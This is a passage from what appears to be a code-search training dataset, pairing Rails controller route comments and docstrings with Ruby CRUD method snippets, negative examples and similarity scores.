"def update\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n format.html { redirect_to @cso, notice: 'Cso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ficha = Ficha.find(params[:id])\n\n respond_to do |format|\n if @ficha.update_attributes(params[:ficha])\n format.html { redirect_to @ficha, notice: 'Ficha alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @articulo = Articulo.find(params[:id])\n if @articulo.update(articulo_params)\n format.html { redirect_to \"/articulos/#{@articulo.url}\", notice: 'Articulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @articulo }\n else\n format.html { render :edit }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n if @contum.update_attributes(params[:contum])\n format.html { redirect_to @contum, notice: 'Contum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asagroupservobj = Asagroupservobj.find(params[:id])\n\n respond_to do |format|\n if @asagroupservobj.update_attributes(params[:asagroupservobj])\n format.html { redirect_to @asagroupservobj, notice: 'Asagroupservobj was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asagroupservobj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.68797475",
"0.65223366",
"0.6491587",
"0.64734954",
"0.6470606",
"0.6393045",
"0.63397527",
"0.6301795",
"0.6284694",
"0.6231668",
"0.6202724",
"0.61822116",
"0.61790216",
"0.6167292",
"0.6167292",
"0.615802",
"0.61545813",
"0.61512893",
"0.6136925",
"0.61233157",
"0.61172205",
"0.61146843",
"0.6106417",
"0.60862195",
"0.60809636",
"0.60809636",
"0.6080494",
"0.6075959",
"0.60743195",
"0.60602826",
"0.60591197",
"0.60579437",
"0.605155",
"0.60455203",
"0.604473",
"0.6035361",
"0.603097",
"0.6030891",
"0.6029281",
"0.6024835",
"0.60233307",
"0.6016977",
"0.60162896",
"0.6012919",
"0.6008404",
"0.60022706",
"0.6001503",
"0.5997422",
"0.59953165",
"0.5994852",
"0.5994563",
"0.59935164",
"0.5991107",
"0.59903085",
"0.59887946",
"0.5985351",
"0.5985048",
"0.5978048",
"0.59712476",
"0.59687865",
"0.59677875",
"0.5966826",
"0.5958988",
"0.595154",
"0.5950943",
"0.5948094",
"0.594624",
"0.59439737",
"0.59425753",
"0.594156",
"0.593993",
"0.5938101",
"0.59372497",
"0.59372497",
"0.5935491",
"0.5933473",
"0.59308183",
"0.59302473",
"0.5929355",
"0.59290713",
"0.592608",
"0.59230936",
"0.59227",
"0.59218335",
"0.59153014",
"0.59133816",
"0.5907253",
"0.59012264",
"0.5897365",
"0.5893365",
"0.5888704",
"0.5887067",
"0.58852565",
"0.5880457",
"0.58799064",
"0.5876852",
"0.5875289",
"0.58726823",
"0.587002"
] |
0.62103355
|
11
|
DELETE /dividas/1 DELETE /dividas/1.json
|
def destroy
@divida.destroy
respond_to do |format|
format.html { redirect_to dividas_url, notice: 'Divida was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @dividendo.destroy\n respond_to do |format|\n format.html { redirect_to dividendos_url, notice: 'Dividendo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @sabio = Sabio.find(params[:id])\n @sabio.destroy\n\n respond_to do |format|\n format.html { redirect_to sabios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sinh_vien = SinhVien.find(params[:id])\n @sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conta.destroy\n params[:id] = nil\n respond_to do |format|\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @divorce = Divorce.find(params[:id])\n @divorce.destroy\n\n respond_to do |format|\n format.html { redirect_to divorces_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @divisa.destroy\n respond_to do |format|\n format.html { redirect_to divisas_url, notice: 'Divisa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contum = Contum.find(params[:id])\n @contum.destroy\n\n respond_to do |format|\n format.html { redirect_to conta_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @cio.destroy\n respond_to do |format|\n format.html { redirect_to cios_url, notice: 'Cio excluido.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @testis = Teste.find(params[:id])\n @testis.destroy\n\n respond_to do |format|\n format.html { redirect_to testes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end",
"def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sitio = Sitio.find(params[:id])\n @sitio.destroy\n\n respond_to do |format|\n format.html { redirect_to sitios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_contcelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contcelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end",
"def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @sitio_entrega = SitioEntrega.find(params[:id])\n @sitio_entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to sitio_entregas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @duda.destroy\n respond_to do |format|\n format.html { redirect_to dudas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to recursos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ficha = Ficha.find(params[:id])\n @ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to fichas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apuesta_detail = ApuestaDetail.find(params[:id])\n @apuesta_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @inventario_cosa.destroy\n respond_to do |format|\n format.html { redirect_to inventario_cosas_url, notice: 'Inventario cosa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @indicacao = Indicacao.find(params[:id])\n @indicacao.destroy\n\n respond_to do |format|\n format.html { redirect_to indicacoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @caixa = Caixa.find(params[:id])\n @caixa.destroy\n\n respond_to do |format|\n format.html { redirect_to caixas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dynamique = Dynamique.find(params[:id])\n @dynamique.destroy\n\n respond_to do |format|\n format.html { redirect_to dynamiques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @detalle = Detalle.find(params[:id])\n @detalle.destroy\n\n respond_to do |format|\n format.html { redirect_to detalles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades2 = Humanidades2.find(params[:id])\n @humanidades2.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades2s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientepedido = Clientepedido.find(params[:id])\n @clientepedido.destroy\n\n respond_to do |format|\n format.html { redirect_to clientepedidos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asos_datum.destroy\n respond_to do |format|\n format.html { redirect_to asos_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @seguro = Seguro.find(params[:id])\n @seguro.destroy\n\n respond_to do |format|\n format.html { redirect_to seguros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gestacao.destroy\n respond_to do |format|\n format.html { redirect_to gestacaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cegonha = Cegonha.find(params[:id])\n @cegonha.destroy\n\n respond_to do |format|\n format.html { redirect_to cegonhas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comisaria = Comisaria.find(params[:id])\n @comisaria.destroy\n\n respond_to do |format|\n format.html { redirect_to comisarias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @coisa = Coisa.find(params[:id])\n @coisa.destroy\n\n respond_to do |format|\n format.html { redirect_to coisas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @dividend.destroy\n respond_to do |format|\n format.html { redirect_to dividends_url, notice: 'Dividend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @section.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url, notice: 'El plato se ha eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vende = Vende.find([params[:id1],params[:id2],params[:id3]])\n @vende.destroy\n respond_to do |format|\n format.html { redirect_to vende_index_path, notice: 'A compra foi removida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n @solicitud_servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to solicitudes_servicios_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7728567",
"0.71770984",
"0.71057004",
"0.7099192",
"0.7095137",
"0.7088978",
"0.7088978",
"0.7088978",
"0.7088978",
"0.7084559",
"0.7074602",
"0.70610625",
"0.7040359",
"0.7024625",
"0.7019558",
"0.70152634",
"0.70128053",
"0.7003081",
"0.69843996",
"0.6978702",
"0.6971239",
"0.6961536",
"0.69603384",
"0.6950059",
"0.694425",
"0.6943012",
"0.6923468",
"0.6923345",
"0.692329",
"0.6921537",
"0.6921537",
"0.69214255",
"0.6913014",
"0.69126695",
"0.6908321",
"0.6903221",
"0.6903203",
"0.69030255",
"0.69027185",
"0.69017935",
"0.6897226",
"0.68922454",
"0.68875676",
"0.68769664",
"0.6871548",
"0.6871253",
"0.6870647",
"0.6869967",
"0.68635947",
"0.68600136",
"0.6857024",
"0.6856252",
"0.6854274",
"0.68497765",
"0.6849743",
"0.68461484",
"0.6840624",
"0.6836724",
"0.68353915",
"0.68322617",
"0.6830911",
"0.68299115",
"0.6828968",
"0.6827815",
"0.6823944",
"0.6823944",
"0.6823944",
"0.68218595",
"0.68189734",
"0.6818134",
"0.6814794",
"0.6814525",
"0.68136877",
"0.6812419",
"0.68093807",
"0.6809259",
"0.6808948",
"0.68056345",
"0.6805036",
"0.6801486",
"0.6800135",
"0.6799942",
"0.6799895",
"0.6795001",
"0.6791521",
"0.6788967",
"0.6784296",
"0.67827684",
"0.6782712",
"0.6782578",
"0.67807347",
"0.6780708",
"0.6779515",
"0.6779492",
"0.6779348",
"0.677865",
"0.6775925",
"0.67754465",
"0.676952"
] |
0.70138234
|
17
|
Use callbacks to share common setup or constraints between actions.
|
def set_divida
@divida = Divida.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
